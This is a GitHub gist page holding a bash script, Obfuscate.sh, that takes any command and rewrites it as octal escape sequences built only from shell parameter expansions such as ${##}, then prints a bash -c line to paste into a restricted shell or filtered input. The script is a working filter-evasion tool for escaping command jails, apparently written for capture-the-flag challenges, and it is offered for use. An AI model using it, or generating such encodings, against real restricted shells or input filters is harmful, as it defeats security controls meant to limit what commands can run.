Skip to content

Instantly share code, notes, and snippets.

@richinseattle
Forked from AnisBoss/Obfuscate.sh
Created March 30, 2025 03:25
Show Gist options
  • Save richinseattle/678d4ccccda6ba48de532e4910585379 to your computer and use it in GitHub Desktop.
Save richinseattle/678d4ccccda6ba48de532e4910585379 to your computer and use it in GitHub Desktop.
#Author Anis_Boss
#!/bin/bash
zero='${#}'
one='${##}'
two='$((${##}<<${##}))'
three='$(($((${##}<<${##}))#${##}${##}))'
four='$((((${##}<<${##}))<<${##}))'
five='$(($(($((${##}<<${##}))<<${##}))#${##}${##}))'
six='$(($(($((${##}<<${##}))#${##}${##}))<<${##}))'
seven='$(($(($(($((${##}<<${##}))#${##}${##}))<<${##}))#${##}${##}))'
eight='$(($(($(($(($((${##}<<${##}))#${##}${##}))<<${##}))#${##}${##}))#${##}${##}))'
nine='$(($(($(($(($(($((${##}<<${##}))#${##}${##}))<<${##}))#${##}${##}))#${##}${##}))#${##}${##}))'
#convert char to octal
function char_to_oct(){
echo $(showkey -a <<<$(echo $1) 2>/dev/null|grep 0x|head -1|awk '{ print $2}'|tail -c +2|head -c -1)
}
#change number to its correspondance
function iterate_numbers(){
case $1 in
0)
echo $zero
;;
1)
echo $one
;;
2)
echo $two
;;
3)
echo $three
;;
4)
echo $four
;;
5)
echo $five
;;
6)
echo $six
;;
7)
echo $seven
;;
8)
echo $eight
;;
9)
echo $nine
;;
esac
}
#construct the obfuscated command that solves the jail/restricted env
obfuscated_cmd=""
read -p "Enter command to run in jail " cmd
for (( i=0; i<${#cmd}; i++ ));
do
if [ "${cmd:$i:1}" == " " ]
then
obfuscated_cmd+=','
space_found=true
continue
fi
octal_value=$(char_to_oct "${cmd:$i:1}")
obfuscated_cmd+="\$'\\\\"
for (( j=0; j<${#octal_value}; j++ ));
do
obfuscated_cmd+=$(iterate_numbers "${octal_value:$j:1}")
done
obfuscated_cmd+="'"
done
if [ "${space_found}" = true ]
then
obfuscated_cmd="bash -c \"{"${obfuscated_cmd}"}\""
else
obfuscated_cmd="bash -c \""${obfuscated_cmd}"\""
fi
echo "Copy this command into the jail/filtered area : "
echo "$obfuscated_cmd"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment